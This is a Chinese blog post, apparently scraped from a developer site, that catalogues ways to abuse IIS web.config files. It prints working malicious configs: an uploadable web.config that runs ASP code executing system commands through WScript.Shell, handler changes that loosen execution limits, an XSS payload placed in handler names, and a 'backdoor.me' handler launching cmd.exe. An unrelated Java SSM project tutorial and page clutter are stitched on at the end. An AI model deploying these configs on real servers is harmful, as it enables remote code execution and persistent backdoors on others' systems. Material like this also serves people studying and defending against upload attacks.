利用Web.config文件

什么是web.config文件呢?

Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的配置信息(如最常用的设置ASP.NETWeb 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中。当你通过.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件,它可以提供除从父目录继承的配置信息以外的配置信息,也可以重写或修改父目录中定义的设置。web.config文件放置在要目录下则会对整个网站产生影响,如果放置在其它目录之下,则只会对当前目录产生影响。

1.代码执行

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
   <appSettings>
</appSettings>
</configuration>
<!–-
<% Response.write("-"&"->")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!-"&"-") %>
-–>

在web.config中添加了一个可读可写权限的处理句柄程序,然后我们在<% %>之内写入了服务器端命令执行代码。当把这个web.config文件上传成功之后,浏览访问它,就会执行系统命令whoami命令

2.绕过执行限制

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Write, Execute, Script" />
    </system.webServer>
</configuration>

3.XSS

iis6及以下版本不支持

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
      <handlers>
        <!-- XSS by using *.config -->
        <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
        <!-- XSS by using *.test -->
        <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
      </handlers>
      <security>
        <requestFiltering>
            <fileExtensions>
              <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
              <remove segment="web.config" />
            </hiddenSegments>
        </requestFiltering>
      </security>
  <httpErrors existingResponse="Replace" errorMode="Detailed" />
  </system.webServer>
</configuration>

访问 web.config 就会弹窗

4.重定向

版本 < iis7

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <httpRedirect enabled="true" destination="https://www.baidu.com/" />
    </system.webServer>
</configuration>

版本 >= iis7

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <rewrite>
            <rules>
                <rule name="AddTrailingSlashRule1" stopProcessing="true">
                    <match url="(.*[^/])$" />
                    <conditions>
                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
                        <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
                    </conditions>
                    <action type="Redirect" url="{R:1}/" />
                </rule>
            </rules>
        </rewrite>
    </system.webServer>
</configuration>

5.RCE

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
      <handlers>
        <remove name="aspNetCore" />
        <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
      </handlers>
      <aspNetCore processPath="cmd.exe" arguments="/c calc"/>
    </system.webServer>
</configuration>

通过去访问服务器上的backdoor.me进行触发

6.运行asp代码

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
        <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />       
      </handlers>
      <security>
        <requestFiltering>
            <fileExtensions>
              <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
              <remove segment="web.config" />
            </hiddenSegments>
        </requestFiltering>
      </security>
  </system.webServer>
</configuration>
<%
Response.write("-"&"->")
'it is running the ASP code if you can see 3 by opening the web.config file!'
Response.write(1+2)
Response.write("<!-"&"-")
%>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
学生信息管理系统是一个比较常见的项目,可以通过以下步骤使用IDEA和SSM框架进行编译: 1. 创建Maven项目:在IDEA中新建Maven项目,选择Web Application模板,并勾选Create from archetype选项,选择maven-archetype-webapp。 2. 引入SSM框架:在pom.xml文件中添加以下依赖: ```xml <!-- Spring --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.2.9.RELEASE</version> </dependency> <!-- SpringMVC --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.2.9.RELEASE</version> </dependency> <!-- MyBatis --> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.5</version> </dependency> <!-- 数据库连接池 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.1.10</version> </dependency> <!-- Servlet --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> ``` 3. 配置Spring和MyBatis:在src/main/resources目录下创建spring.xml和mybatis-config.xml文件,分别配置Spring和MyBatis。 4. 创建数据库表:根据需求创建数据库表,并在mybatis-config.xml文件中添加配置文件的路径和映射文件的路径。 5. 创建JavaBean、Mapper和Service:根据需求创建JavaBean、Mapper和Service,其中Mapper使用MyBatis提供的注解方式,Service则使用Spring注解方式。 6. 创建Controller:创建Controller处理请求和响应。 7. 配置Tomcat服务器:在IDEA中配置Tomcat服务器,将项目部署到Tomcat服务器中。 8. 运行项目:启动Tomcat服务器,访问http://localhost:8080/项目名/可以看到学生信息管理系统的首页。 以上是学生信息管理系统的基本搭建流程,具体实现过程中还需要根据需求进行修改和完善。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值